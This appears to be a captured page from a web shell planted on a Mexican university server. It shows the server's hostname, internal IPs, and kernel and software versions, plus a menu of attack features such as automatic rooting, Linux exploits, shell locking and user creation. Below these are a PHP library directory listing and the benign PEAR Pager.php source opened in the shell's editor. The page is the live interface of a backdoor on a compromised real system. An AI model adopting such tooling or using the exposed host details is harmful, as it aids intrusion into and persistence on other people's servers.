Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
[ HOME SHELL ]
Name
Size
Permission
Action
.channels
[ DIR ]
drwxr-xr-x
.registry
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Benchmark
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwxr-xr-x
Console
[ DIR ]
drwxr-xr-x
Contact
[ DIR ]
drwxr-xr-x
Crypt
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
doc
[ DIR ]
drwxr-xr-x
example
[ DIR ]
drwxr-xr-x
extensions
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
FSM
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
MDB
[ DIR ]
drwxr-xr-x
MDB2
[ DIR ]
drwxr-xr-x
MP3
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Numbers
[ DIR ]
drwxr-xr-x
OS
[ DIR ]
drwxr-xr-x
Pager
[ DIR ]
drwxr-xr-x
Payment_Clieop
[ DIR ]
drwxr-xr-x
PEAR
[ DIR ]
drwxr-xr-x
PHP
[ DIR ]
drwxr-xr-x
PHPUnit
[ DIR ]
drwxr-xr-x
Science
[ DIR ]
drwxr-xr-x
Stream
[ DIR ]
drwxr-xr-x
Structures
[ DIR ]
drwxr-xr-x
SymfonyComponents
[ DIR ]
drwxr-xr-x
System
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tree
[ DIR ]
drwxr-xr-x
Var_Dump
[ DIR ]
drwxr-xr-x
XML
[ DIR ]
drwxr-xr-x
.depdb
30.49
KB
-rw-r--r--
.depdblock
0
B
-rw-r--r--
.filemap
178.4
KB
-rw-r--r--
.lock
0
B
-rw-r--r--
Auth.php
38.4
KB
-rw-r--r--
Cache.php
10.78
KB
-rw-r--r--
Cezpdf.php
80.11
KB
-rw-r--r--
Contact_Vcard_Build.php
929
B
-rw-r--r--
Contact_Vcard_Parse.php
927
B
-rw-r--r--
Cpdf.php
149.29
KB
-rw-r--r--
fpdf.php
45.98
KB
-rwxrwxrwx
FSM.php
10.72
KB
-rw-r--r--
HTTP.php
17.95
KB
-rw-r--r--
Log.php
26.37
KB
-rw-r--r--
Mail.php
9.65
KB
-rw-r--r--
MDB2.php
149.14
KB
-rw-r--r--
Pager.php
9.05
KB
-rw-r--r--
pearcmd.php
14.49
KB
-rw-r--r--
PEAR.php
35.32
KB
-rw-r--r--
peclcmd.php
1.08
KB
-rw-r--r--
System.php
20.21
KB
-rw-r--r--
Var_Dump.php
20.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Pager.php
<?php /* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */ /** * Contains the Pager class * * PHP versions 4 and 5 * * LICENSE: Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE FREEBSD PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * @category HTML * @package Pager * @author Lorenzo Alberton <l.alberton@quipo.it> * @author Richard Heyes <richard@phpguru.org> * @copyright 2003-2008 Lorenzo Alberton, Richard Heyes * @license http://www.debian.org/misc/bsd.license BSD License (3 Clause) * @version CVS: $Id: Pager.php,v 1.26 2008/02/02 16:55:04 quipo Exp $ * @link http://pear.php.net/package/Pager */ /** * Pager - Wrapper class for [Sliding|Jumping]-window Pager * Usage examples can be found in the PEAR manual * * @category HTML * @package Pager * @author Lorenzo Alberton <l.alberton@quipo.it> * @author Richard Heyes <richard@phpguru.org> * @copyright 2003-2008 Lorenzo Alberton, Richard Heyes * @license http://www.debian.org/misc/bsd.license BSD License (3 Clause) * @link http://pear.php.net/package/Pager */ class Pager { // {{{ Pager() /** * Constructor * * ------------------------------------------------------------------------- * VALID options are (default values are set some lines before): * - mode (string): "Jumping" or "Sliding" -window - It determines * pager behaviour. See the manual for more details * - totalItems (int): # of items to page. * - perPage (int): # of items per page. * - delta (int): # of page #s to show before and after the current * one * - linkClass (string): name of CSS class used for link styling. * - append (bool): if true pageID is appended as GET value to the * URL - if false it is embedded in the URL * according to "fileName" specs * - httpMethod (string): Specifies the HTTP method to use. Valid values * are 'GET' or 'POST' * according to "fileName" specs * - importQuery (bool): if true (default behaviour), variables and * values are imported from the submitted data * (query string) and used in the generated links * otherwise they're ignored completely * - path (string): complete path to the page (without the page name) * - fileName (string): name of the page, with a %d if append=true * - urlVar (string): name of pageNumber URL var, for example "pageID" * - altPrev (string): alt text to display for prev page, on prev link. * - altNext (string): alt text to display for next page, on next link. * - altPage (string): alt text to display before the page number. * - prevImg (string): sth (it can be text such as "<< PREV" or an * <img/> as well...) to display instead of "<<". * - nextImg (string): same as prevImg, used for NEXT link, instead of * the default value, which is ">>". * - separator (string): what to use to separate numbers (can be an * <img/>, a comma, an hyphen, or whatever. * - spacesBeforeSeparator * (int): number of spaces before the separator. * - firstPagePre (string): * string used before first page number (can be an * <img/>, a "{", an empty string, or whatever. * - firstPageText (string): * string used in place of first page number * - firstPagePost (string): * string used after first page number (can be an * <img/>, a "}", an empty string, or whatever. * - lastPagePre (string): * similar to firstPagePre. * - lastPageText (string): * similar to firstPageText. * - lastPagePost (string): * similar to firstPagePost. * - spacesAfterSeparator * (int): number of spaces after the separator. * - firstLinkTitle (string): * string used as title in <link rel="first"> tag * - lastLinkTitle (string): * string used as title in <link rel="last"> tag * - prevLinkTitle (string): * string used as title in <link rel="prev"> tag * - nextLinkTitle (string): * string used as title in <link rel="next"> tag * - curPageLinkClassName * (string): name of CSS class used for current page link. * - clearIfVoid(bool): if there's only one page, don't display pager. * - extraVars (array): additional URL vars to be added to the querystring * - excludeVars (array): URL vars to be excluded in the querystring * - itemData (array): array of items to page. * - useSessions (bool): if true, number of items to display per page is * stored in the $_SESSION[$_sessionVar] var. * - closeSession (bool): if true, the session is closed just after R/W. * - sessionVar (string): name of the session var for perPage value. * A value != from default can be useful when * using more than one Pager istance in the page. * - pearErrorMode (constant): * PEAR_ERROR mode for raiseError(). * Default is PEAR_ERROR_RETURN. * ------------------------------------------------------------------------- * REQUIRED options are: * - fileName IF append==false (default is true) * - itemData OR totalItems (if itemData is set, totalItems is overwritten) * ------------------------------------------------------------------------- * * @param mixed $options Associative array of option names and their values * * @access public */ function Pager($options = array()) { //this check evaluates to true on 5.0.0RC-dev, //so i'm using another one, for now... //if (version_compare(phpversion(), '5.0.0') == -1) { if (get_class($this) == 'pager') { //php4 lowers class names // assign factoried method to this for PHP 4 eval('$this = Pager::factory($options);'); } else { //php5 is case sensitive $msg = 'Pager constructor is deprecated.' .' You must use the "Pager::factory($params)" method' .' instead of "new Pager($params)"'; trigger_error($msg, E_USER_ERROR); } } // }}} // {{{ factory() /** * Return a pager based on $mode and $options * * @param array $options Optional parameters for the storage class * * @return object Storage object * @static * @access public */ function &factory($options = array()) { $mode = (isset($options['mode']) ? ucfirst($options['mode']) : 'Jumping'); $classname = 'Pager_' . $mode; $classfile = 'Pager' . DIRECTORY_SEPARATOR . $mode . '.php'; // Attempt to include a custom version of the named class, but don't treat // a failure as fatal. The caller may have already included their own // version of the named class. if (!class_exists($classname)) { include_once $classfile; } // If the class exists, return a new instance of it. if (class_exists($classname)) { $pager = new $classname($options); return $pager; } $null = null; return $null; } // }}} } ?>
Close